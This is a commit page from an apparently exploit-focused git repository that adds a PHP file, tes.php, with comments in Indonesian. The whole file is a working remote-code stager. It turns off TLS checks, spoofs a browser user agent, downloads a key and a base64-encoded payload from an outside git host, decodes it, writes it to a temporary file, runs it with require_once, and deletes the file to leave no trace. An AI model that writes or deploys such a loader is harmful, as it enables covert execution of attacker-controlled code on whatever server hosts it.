Add tes.php
This commit is contained in:
parent
4116cd67b8
commit
16448d12fd
54
tes.php
Normal file
54
tes.php
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
function get_contents($url) {
|
||||||
|
$ch = curl_init($url);
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||||
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||||
|
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||||
|
$result = curl_exec($ch);
|
||||||
|
curl_close($ch);
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// URL untuk mengambil hash key MD5
|
||||||
|
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
|
||||||
|
// URL atau path ke file yang berisi kode terenkripsi
|
||||||
|
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/tes';
|
||||||
|
|
||||||
|
// Ambil hash key dari URL
|
||||||
|
$keyHash = trim(get_contents($hashUrl));
|
||||||
|
if (empty($keyHash)) {
|
||||||
|
die("Gagal mengambil hash key dari URL.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ambil kode terenkripsi dari URL
|
||||||
|
$encoded_code = get_contents($codeUrl);
|
||||||
|
if (empty($encoded_code)) {
|
||||||
|
die("Gagal mengambil kode terenkripsi dari URL.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dekripsi kode
|
||||||
|
$decoded_code = base64_decode($encoded_code);
|
||||||
|
|
||||||
|
// Debugging - tampilkan kode yang didekripsi untuk memastikan
|
||||||
|
// echo "<pre>"; var_dump($decoded_code); echo "</pre>"; exit; // Uncomment untuk debugging
|
||||||
|
|
||||||
|
// Hapus key hash di dalam kode
|
||||||
|
$clean_code = str_replace($keyHash, '', $decoded_code);
|
||||||
|
|
||||||
|
// Debugging - tampilkan hasil kode yang sudah dibersihkan
|
||||||
|
// echo "<pre>"; var_dump($clean_code); echo "</pre>"; exit; // Uncomment untuk debugging
|
||||||
|
|
||||||
|
// Simpan kode sementara ke file temporer
|
||||||
|
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||||
|
file_put_contents($tempFile, $clean_code);
|
||||||
|
|
||||||
|
// Eksekusi kode secara langsung tanpa menampilkan key
|
||||||
|
require_once $tempFile;
|
||||||
|
|
||||||
|
// Hapus file temporer setelah eksekusi
|
||||||
|
unlink($tempFile);
|
||||||
|
|
||||||
|
?>
|
Loading…
Reference in New Issue
Block a user